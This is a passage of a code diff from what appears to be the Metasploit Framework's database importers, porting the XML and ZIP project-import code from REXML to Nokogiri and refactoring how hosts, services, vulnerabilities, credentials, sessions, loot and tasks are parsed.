host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip)
end end
}
host_address = host_data[:host].dup # Preserve after report_host() deletes
hobj = report_host(host_data)
host.elements.each("host_details/host_detail") do |hdet|
hdet_data = {}
hdet.elements.each do |det|
next if ["id", "host-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_host_details(hobj, hdet_data)
end
host.elements.each("exploit_attempts/exploit_attempt") do |hdet|
hdet_data = {}
hdet.elements.each do |det|
next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_exploit_attempt(hobj, hdet_data)
end
host.elements.each('services/service') do |service|
service_data = {}
service_data[:task] = args[:task]
service_data[:workspace] = wspace
service_data[:host] = hobj
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip)
%W{created-at updated-at name state info}.each { |datum|
if service.elements[datum].text
if datum == "info"
service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false))
else
service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip)
end
end
}
report_service(service_data)
end
host.elements.each('notes/note') do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:host] = hobj
import_msf_note_element(note,allow_yaml,note_data)
end
host.elements.each('tags/tag') do |tag|
tag_data = {}
tag_data[:addr] = host_address
tag_data[:wspace] = wspace
tag_data[:name] = tag.elements["name"].text.to_s.strip
tag_data[:desc] = tag.elements["desc"].text.to_s.strip
if tag.elements["report-summary"].text
tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip
end
if tag.elements["report-detail"].text
tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip
end
if tag.elements["critical"].text
tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL"
end
report_host_tag(tag_data)
end
host.elements.each('vulns/vuln') do |vuln|
vuln_data = {}
vuln_data[:workspace] = wspace
vuln_data[:host] = hobj
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml))
vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip)
%W{created-at updated-at exploited-at}.each { |datum|
if vuln.elements[datum] and vuln.elements[datum].text
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip)
end
}
if vuln.elements["refs"]
vuln_data[:refs] = []
vuln.elements.each("refs/ref") do |ref|
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
end
end
vobj = report_vuln(vuln_data)
vuln.elements.each("notes/note") do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:vuln_id] = vobj.id
import_msf_note_element(note,allow_yaml,note_data)
end
vuln.elements.each("vuln_details/vuln_detail") do |vdet|
vdet_data = {}
vdet.elements.each do |det|
next if ["id", "vuln-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_details(vobj, vdet_data)
end
vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet|
vdet_data = {}
vdet.elements.each do |det|
next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_attempt(vobj, vdet_data)
end
end
## Handle old-style (pre 4.10) XML files
if btag == "MetasploitV4"
if host.elements['creds'].present?
unless host.elements['creds'].elements.empty?
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
host.elements.each('creds/cred') do |cred|
username = cred.elements['user'].try(:text)
proto = cred.elements['proto'].try(:text)
sname = cred.elements['sname'].try(:text)
port = cred.elements['port'].try(:text)
# Handle blanks by resetting to sane default values
proto = "tcp" if proto.blank?
pass = cred.elements['pass'].try(:text)
pass = "" if pass == "*MASKED*"
private = create_credential_private(private_data: pass, private_type: :password)
public = create_credential_public(username: username)
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
create_credential_login(core: core,
workspace_id: wspace.id,
address: hobj.address,
port: port,
protocol: proto,
service_name: sname,
status: Metasploit::Model::Login::Status::UNTRIED)
end
end
end
end
host.elements.each('sessions/session') do |sess|
sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i)
sess_data = {}
sess_data[:host] = hobj
%W{desc platform port stype}.each {|datum|
if sess.elements[datum].respond_to? :text
sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
end
}
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
if sess.elements[datum].respond_to? :text
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
end
}
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml))
if sess.elements["routes"]
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || []
end
if not sess_data[:closed_at] # Fake a close if we don't already have one
sess_data[:closed_at] = Time.now.utc
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
end
existing_session = get_session(
:workspace => sess_data[:host].workspace,
:addr => sess_data[:host].address,
:time => sess_data[:opened_at]
)
this_session = existing_session || report_session(sess_data)
next if existing_session
sess.elements.each('events/event') do |sess_event|
sess_event_data = {}
sess_event_data[:session] = this_session
%W{created-at etype local-path remote-path}.each {|datum|
if sess_event.elements[datum].respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip)
end
}
%W{command output}.each {|datum|
if sess_event.elements[datum].respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml))
end
}
report_session_event(sess_event_data)
end
end
end
# Import web sites
doc.elements.each("/#{btag}/web_sites/web_site") do |web|
info = {}
info[:workspace] = wspace
%W{host port vhost ssl comments}.each do |datum|
if web.elements[datum].respond_to? :text
info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip)
end
end
info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text)
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
%W{created-at updated-at}.each { |datum|
if web.elements[datum].text
info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip)
end
}
report_web_site(info)
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
end
%W{page form vuln}.each do |wtype|
doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element|
send(
"import_msf_web_#{wtype}_element",
element,
:allow_yaml => allow_yaml,
:workspace => wspace,
&block
)
end end
end end
end end
private private
# Parses website Nokogiri::XML::Element
def parse_web_site(web, wspace, bl, allow_yaml, btag, args, &block)
# Import web sites
info = {}
info[:workspace] = wspace
%W{host port vhost ssl comments}.each do |datum|
if web.at(datum).respond_to? :text
info[datum.intern] = nils_for_nulls(web.at(datum).text.to_s.strip)
end
end
info[:options] = nils_for_nulls(unserialize_object(web.at("options"), allow_yaml)) if web.at("options").respond_to?(:text)
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
%W{created-at updated-at}.each { |datum|
if web.at(datum).text
info[datum.gsub("-","_")] = nils_for_nulls(web.at(datum).text.to_s.strip)
end
}
report_web_site(info)
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
end
# Parses host Nokogiri::XML::Element
def parse_host(host, wspace, bl, allow_yaml, btag, args, &block)
host_data = {}
host_data[:task] = args[:task]
host_data[:workspace] = wspace
# A regression resulted in the address field being serialized in some cases.
# Lets handle both instances to keep things happy. See #5837 & #5985
addr = nils_for_nulls(host.at('address'))
return 0 unless addr
# No period or colon means this must be in base64-encoded serialized form
if addr !~ /[\.\:]/
addr = unserialize_object(addr)
end
host_data[:host] = addr
if bl.include? host_data[:host]
return 0
else
yield(:address,host_data[:host]) if block
end
host_data[:mac] = nils_for_nulls(host.at("mac").text.to_s.strip)
if host.at("comm").text
host_data[:comm] = nils_for_nulls(host.at("comm").text.to_s.strip)
end
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
if host.at(datum).text
host_data[datum.gsub('-','_')] = nils_for_nulls(host.at(datum).text.to_s.strip)
end
}
host_address = host_data[:host].dup # Preserve after report_host() deletes
hobj = report_host(host_data)
host.xpath("host_details/host_detail").each do |hdet|
hdet_data = {}
hdet.elements.each do |det|
return 0 if ["id", "host-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_host_details(hobj, hdet_data)
end
host.xpath("exploit_attempts/exploit_attempt").each do |hdet|
hdet_data = {}
hdet.elements.each do |det|
return 0 if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_exploit_attempt(hobj, hdet_data)
end
host.xpath('services/service').each do |service|
service_data = {}
service_data[:task] = args[:task]
service_data[:workspace] = wspace
service_data[:host] = hobj
service_data[:port] = nils_for_nulls(service.at("port").text.to_s.strip).to_i
service_data[:proto] = nils_for_nulls(service.at("proto").text.to_s.strip)
%W{created-at updated-at name state info}.each { |datum|
if service.at(datum).text
if datum == "info"
service_data["info"] = nils_for_nulls(unserialize_object(service.at(datum), false))
else
service_data[datum.gsub("-","_")] = nils_for_nulls(service.at(datum).text.to_s.strip)
end
end
}
report_service(service_data)
end
host.xpath('notes/note').each do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:host] = hobj
import_msf_note_element(note,allow_yaml,note_data)
end
host.xpath('tags/tag').each do |tag|
tag_data = {}
tag_data[:addr] = host_address
tag_data[:wspace] = wspace
tag_data[:name] = tag.at("name").text.to_s.strip
tag_data[:desc] = tag.at("desc").text.to_s.strip
if tag.at("report-summary").text
tag_data[:summary] = tag.at("report-summary").text.to_s.strip
end
if tag.at("report-detail").text
tag_data[:detail] = tag.at("report-detail").text.to_s.strip
end
if tag.at("critical").text
tag_data[:crit] = true unless tag.at("critical").text.to_s.strip == "NULL"
end
report_host_tag(tag_data)
end
host.xpath('vulns/vuln').each do |vuln|
vuln_data = {}
vuln_data[:workspace] = wspace
vuln_data[:host] = hobj
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.at("info"), allow_yaml))
vuln_data[:name] = nils_for_nulls(vuln.at("name").text.to_s.strip)
%W{created-at updated-at exploited-at}.each { |datum|
if vuln.at(datum) and vuln.at(datum).text
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.at(datum).text.to_s.strip)
end
}
if vuln.at("refs")
vuln_data[:refs] = []
vuln.xpath("refs/ref").each do |ref|
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
end
end
vobj = report_vuln(vuln_data)
vuln.xpath("notes/note").each do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:vuln_id] = vobj.id
import_msf_note_element(note,allow_yaml,note_data)
end
vuln.xpath("vuln_details/vuln_detail").each do |vdet|
vdet_data = {}
vdet.elements.each do |det|
return 0 if ["id", "vuln-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_details(vobj, vdet_data)
end
vuln.xpath("vuln_attempts/vuln_attempt").each do |vdet|
vdet_data = {}
vdet.elements.each do |det|
return 0 if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_attempt(vobj, vdet_data)
end
end
## Handle old-style (pre 4.10) XML files
if btag == "MetasploitV4"
if host.at('creds').present?
unless host.at('creds').elements.empty?
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
host.xpath('creds/cred').each do |cred|
username = cred.at('user').try(:text)
proto = cred.at('proto').try(:text)
sname = cred.at('sname').try(:text)
port = cred.at('port').try(:text)
# Handle blanks by resetting to sane default values
proto = "tcp" if proto.blank?
pass = cred.at('pass').try(:text)
pass = "" if pass == "*MASKED*"
private = create_credential_private(private_data: pass, private_type: :password)
public = create_credential_public(username: username)
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
create_credential_login(core: core,
workspace_id: wspace.id,
address: hobj.address,
port: port,
protocol: proto,
service_name: sname,
status: Metasploit::Model::Login::Status::UNTRIED)
end
end
end
end
host.xpath('sessions/session').each do |sess|
sess_id = nils_for_nulls(sess.at("id").text.to_s.strip.to_i)
sess_data = {}
sess_data[:host] = hobj
%W{desc platform port stype}.each {|datum|
if sess.at(datum).respond_to? :text
sess_data[datum.intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
end
}
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
if sess.at(datum).respond_to? :text
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.at(datum).text.to_s.strip)
end
}
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.at("datastore"), allow_yaml))
if sess.at("routes")
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.at("routes"), allow_yaml)) || []
end
if not sess_data[:closed_at] # Fake a close if we don't already have one
sess_data[:closed_at] = Time.now.utc
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
end
existing_session = get_session(
:workspace => sess_data[:host].workspace,
:addr => sess_data[:host].address,
:time => sess_data[:opened_at]
)
this_session = existing_session || report_session(sess_data)
return 0 if existing_session
sess.xpath('events/event').each do |sess_event|
sess_event_data = {}
sess_event_data[:session] = this_session
%W{created-at etype local-path remote-path}.each {|datum|
if sess_event.at(datum).respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.at(datum).text.to_s.strip)
end
}
%W{command output}.each {|datum|
if sess_event.at(datum).respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.at(datum), allow_yaml))
end
}
report_session_event(sess_event_data)
end
end
end
# Checks if the XML document has a format version that the importer # Checks if the XML document has a format version that the importer
# understands. # understands.
# #
# @param document [REXML::Document] a REXML::Document produced by # @param name [String] the root node name produced by
# {Msf::DBManager#rexmlify}. # {Nokogiri::XML::Reader#from_memory}.
# @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format # @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format
# requires YAML loading when calling # requires YAML loading when calling
# {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the # {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the
# root element for MSF XML. # root element for MSF XML.
# @raise [Msf::DBImportError] if unsupported format # @raise [Msf::DBImportError] if unsupported format
def check_msf_xml_version!(document) def check_msf_xml_version!(name)
metadata = { metadata = {
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
:allow_yaml => false, :allow_yaml => false,
:root_tag => nil :root_tag => nil
} }
if document.elements['MetasploitExpressV1'] case name
when 'MetasploitExpressV1'
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
metadata[:allow_yaml] = true metadata[:allow_yaml] = true
metadata[:root_tag] = 'MetasploitExpressV1' metadata[:root_tag] = 'MetasploitExpressV1'
elsif document.elements['MetasploitExpressV2'] when 'MetasploitExpressV2'
# FIXME https://www.pivotaltracker.com/story/show/47128407 # FIXME https://www.pivotaltracker.com/story/show/47128407
metadata[:allow_yaml] = true metadata[:allow_yaml] = true
metadata[:root_tag] = 'MetasploitExpressV2' metadata[:root_tag] = 'MetasploitExpressV2'
elsif document.elements['MetasploitExpressV3'] when 'MetasploitExpressV3'
metadata[:root_tag] = 'MetasploitExpressV3' metadata[:root_tag] = 'MetasploitExpressV3'
elsif document.elements['MetasploitExpressV4'] when 'MetasploitExpressV4'
metadata[:root_tag] = 'MetasploitExpressV4' metadata[:root_tag] = 'MetasploitExpressV4'
elsif document.elements['MetasploitV4'] when 'MetasploitV4'
metadata[:root_tag] = 'MetasploitV4' metadata[:root_tag] = 'MetasploitV4'
elsif document.elements['MetasploitV5'] when 'MetasploitV5'
metadata[:root_tag] = 'MetasploitV5' metadata[:root_tag] = 'MetasploitV5'
end end
@ -553,7 +564,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# Retrieves text of element if it exists. # Retrieves text of element if it exists.
# #
# @param parent_element [REXML::Element] element under which element with # @param parent_element [Nokogiri::XML::Element] element under which element with
# `child_name` exists. # `child_name` exists.
# @param child_name [String] the name of the element under # @param child_name [String] the name of the element under
# `parent_element` whose text should be returned # `parent_element` whose text should be returned
@ -564,7 +575,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# @return [nil] if element with `child_name` does not exist under # @return [nil] if element with `child_name` does not exist under
# `parent_element`. # `parent_element`.
def import_msf_text_element(parent_element, child_name) def import_msf_text_element(parent_element, child_name)
child_element = parent_element.elements[child_name] child_element = parent_element.at(child_name)
info = {} info = {}
if child_element if child_element
@ -577,10 +588,10 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end end
# Imports web_form, web_page, or web_vuln element using # Imports web_form, web_page, or web_vuln element using
# {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and # Msf::DBManager#report_web_form, Msf::DBManager#report_web_page, and
# {Msf::DBManager#report_web_vuln}, respectively. # Msf::DBManager#report_web_vuln, respectively.
# #
# @param element [REXML::Element] the web_form, web_page, or web_vuln # @param element [Nokogiri::XML::Element] the web_form, web_page, or web_vuln
# element. # element.
# @param options [Hash{Symbol => Object}] options # @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
@ -593,7 +604,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# (Msf::DBManager#workspace) workspace under which to report the # (Msf::DBManager#workspace) workspace under which to report the
# imported record. # imported record.
# @yield [element, options] # @yield [element, options]
# @yieldparam element [REXML::Element] the web_form, web_page, or # @yieldparam element [Nokogiri::XML::Element] the web_form, web_page, or
# web_vuln element passed to {#import_msf_web_element}. # web_vuln element passed to {#import_msf_web_element}.
# @yieldparam options [Hash{Symbol => Object}] options for parsing # @yieldparam options [Hash{Symbol => Object}] options for parsing
# @yieldreturn [Hash{Symbol => Object}] info # @yieldreturn [Hash{Symbol => Object}] info

View File

@ -10,22 +10,23 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
allow_yaml = false allow_yaml = false
btag = nil btag = nil
doc = rexmlify(data) doc = Nokogiri::XML::Reader.from_memory(data)
if doc.elements["MetasploitExpressV1"] case doc.first.name
when "MetasploitExpressV1"
m_ver = 1 m_ver = 1
allow_yaml = true allow_yaml = true
btag = "MetasploitExpressV1" btag = "MetasploitExpressV1"
elsif doc.elements["MetasploitExpressV2"] when "MetasploitExpressV2"
m_ver = 2 m_ver = 2
allow_yaml = true allow_yaml = true
btag = "MetasploitExpressV2" btag = "MetasploitExpressV2"
elsif doc.elements["MetasploitExpressV3"] when "MetasploitExpressV3"
m_ver = 3 m_ver = 3
btag = "MetasploitExpressV3" btag = "MetasploitExpressV3"
elsif doc.elements["MetasploitExpressV4"] when "MetasploitExpressV4"
m_ver = 4 m_ver = 4
btag = "MetasploitExpressV4" btag = "MetasploitExpressV4"
elsif doc.elements["MetasploitV4"] when "MetasploitV4"
m_ver = 4 m_ver = 4
btag = "MetasploitV4" btag = "MetasploitV4"
else else
@ -36,111 +37,121 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
end end
host_info = {} host_info = {}
doc.elements.each("/#{btag}/hosts/host") do |host|
host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip)
end
# Import Loot doc.each do |node|
doc.elements.each("/#{btag}/loots/loot") do |loot| if ['host', 'loot', 'task', 'report'].include?(node.name)
next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip] unless node.inner_xml.empty?
loot_info = {} send("parse_zip_#{node.name}", Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip]
loot_info[:workspace] = args[:wspace]
loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip)
loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml))
loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip)
loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip)
loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip)
loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip)
loot_info[:task] = args[:task]
tmp = args[:ifd][:zip_tmp]
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
if !loot.elements["service-id"].text.to_s.strip.empty?
unless loot.elements["service-id"].text.to_s.strip == "NULL"
loot_info[:service] = loot.elements["service-id"].text.to_s.strip
end end
end end
end
end
# Only report loot if we actually have it. # Parses host Nokogiri::XML::Element
# TODO: Copypasta. Separate this out. def parse_zip_host(host, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
if ::File.exists? loot_info[:orig_path] host_info[host.at("id").text.to_s.strip] = nils_for_nulls(host.at("address").text.to_s.strip)
loot_dir = ::File.join(basedir,"loot") end
loot_file = ::File.split(loot_info[:orig_path]).last
if ::File.exists? loot_dir # Parses loot Nokogiri::XML::Element
unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir)) def parse_zip_loot(loot, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
raise Msf::DBImportError.new("Could not move files to #{loot_dir}") return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip]
end loot_info = {}
else loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip]
::FileUtils.mkdir_p(loot_dir) loot_info[:workspace] = args[:wspace]
end loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip)
new_loot = ::File.join(loot_dir,loot_file) loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml))
loot_info[:path] = new_loot loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip)
if ::File.exists?(new_loot) loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
::File.unlink new_loot # Delete it, and don't report it. loot_info[:created_at] = nils_for_nulls(loot.at("created-at").text.to_s.strip)
else loot_info[:updated_at] = nils_for_nulls(loot.at("updated-at").text.to_s.strip)
report_loot(loot_info) # It's new, so report it. loot_info[:name] = nils_for_nulls(loot.at("name").text.to_s.strip)
end loot_info[:orig_path] = nils_for_nulls(loot.at("path").text.to_s.strip)
::FileUtils.copy(loot_info[:orig_path], new_loot) loot_info[:task] = args[:task]
yield(:msf_loot, new_loot) if block tmp = args[:ifd][:zip_tmp]
loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path]
if !loot.at("service-id").text.to_s.strip.empty?
unless loot.at("service-id").text.to_s.strip == "NULL"
loot_info[:service] = loot.at("service-id").text.to_s.strip
end end
end end
# Import Tasks # Only report loot if we actually have it.
doc.elements.each("/#{btag}/tasks/task") do |task| # TODO: Copypasta. Separate this out.
task_info = {} if ::File.exist? loot_info[:orig_path]
task_info[:workspace] = args[:wspace] loot_dir = ::File.join(basedir,"loot")
# Should user be imported (original) or declared (the importing user)? loot_file = ::File.split(loot_info[:orig_path]).last
task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip) if ::File.exist? loot_dir
task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip) unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir))
task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml)) raise Msf::DBImportError.new("Could not move files to #{loot_dir}")
task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip)
task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip)
task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i
task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip)
task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip)
if !task.elements["completed-at"].text.to_s.empty?
task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip)
end
if !task.elements["error"].text.to_s.empty?
task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip)
end
if !task.elements["result"].text.to_s.empty?
task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip)
end
task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip)
tmp = args[:ifd][:zip_tmp]
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exists? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last
if ::File.exists? tasks_dir
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
end
else
::FileUtils.mkdir_p(tasks_dir)
end end
new_task = ::File.join(tasks_dir,task_file) else
task_info[:path] = new_task ::FileUtils.mkdir_p(loot_dir)
if ::File.exists?(new_task)
::File.unlink new_task # Delete it, and don't report it.
else
report_task(task_info) # It's new, so report it.
end
::FileUtils.copy(task_info[:orig_path], new_task)
yield(:msf_task, new_task) if block
end end
new_loot = ::File.join(loot_dir,loot_file)
loot_info[:path] = new_loot
if ::File.exist?(new_loot)
::File.unlink new_loot # Delete it, and don't report it.
else
report_loot(loot_info) # It's new, so report it.
end
::FileUtils.copy(loot_info[:orig_path], new_loot)
yield(:msf_loot, new_loot) if block
end end
end
# Import Reports # Parses task Nokogiri::XML::Element
doc.elements.each("/#{btag}/reports/report") do |report| def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
import_report(report, args, basedir) task_info = {}
task_info[:workspace] = args[:wspace]
# Should user be imported (original) or declared (the importing user)?
task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip)
task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip)
task_info[:info] = nils_for_nulls(unserialize_object(task.at("info"), allow_yaml))
task_info[:mod] = nils_for_nulls(task.at("module").text.to_s.strip)
task_info[:options] = nils_for_nulls(task.at("options").text.to_s.strip)
task_info[:prog] = nils_for_nulls(task.at("progress").text.to_s.strip).to_i
task_info[:created_at] = nils_for_nulls(task.at("created-at").text.to_s.strip)
task_info[:updated_at] = nils_for_nulls(task.at("updated-at").text.to_s.strip)
if !task.at("completed-at").text.to_s.empty?
task_info[:completed_at] = nils_for_nulls(task.at("completed-at").text.to_s.strip)
end end
if !task.at("error").text.to_s.empty?
task_info[:error] = nils_for_nulls(task.at("error").text.to_s.strip)
end
if !task.at("result").text.to_s.empty?
task_info[:result] = nils_for_nulls(task.at("result").text.to_s.strip)
end
task_info[:orig_path] = nils_for_nulls(task.at("path").text.to_s.strip)
tmp = args[:ifd][:zip_tmp]
task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path]
# Only report a task if we actually have it.
# TODO: Copypasta. Separate this out.
if ::File.exist? task_info[:orig_path]
tasks_dir = ::File.join(basedir,"tasks")
task_file = ::File.split(task_info[:orig_path]).last
if ::File.exist? tasks_dir
unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir))
raise Msf::DBImportError.new("Could not move files to #{tasks_dir}")
end
else
::FileUtils.mkdir_p(tasks_dir)
end
new_task = ::File.join(tasks_dir,task_file)
task_info[:path] = new_task
if ::File.exist?(new_task)
::File.unlink new_task # Delete it, and don't report it.
else
report_task(task_info) # It's new, so report it.
end
::FileUtils.copy(task_info[:orig_path], new_task)
yield(:msf_task, new_task) if block
end
end
# Parses report Nokogiri::XML::Element
def parse_zip_report(report, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
import_report(report, args, basedir)
end end
# Import a Metasploit Express ZIP file. Note that this requires # Import a Metasploit Express ZIP file. Note that this requires
@ -156,7 +167,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename])
if ::File.exists? new_tmp if ::File.exist? new_tmp
unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp)) unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp))
raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}") raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}")
end end
@ -172,7 +183,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
# already exist # already exist
@import_filedata[:zip_tmp_subdirs].each {|sub| @import_filedata[:zip_tmp_subdirs].each {|sub|
tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub)
if File.exists? tmp_subdirs if File.exist? tmp_subdirs
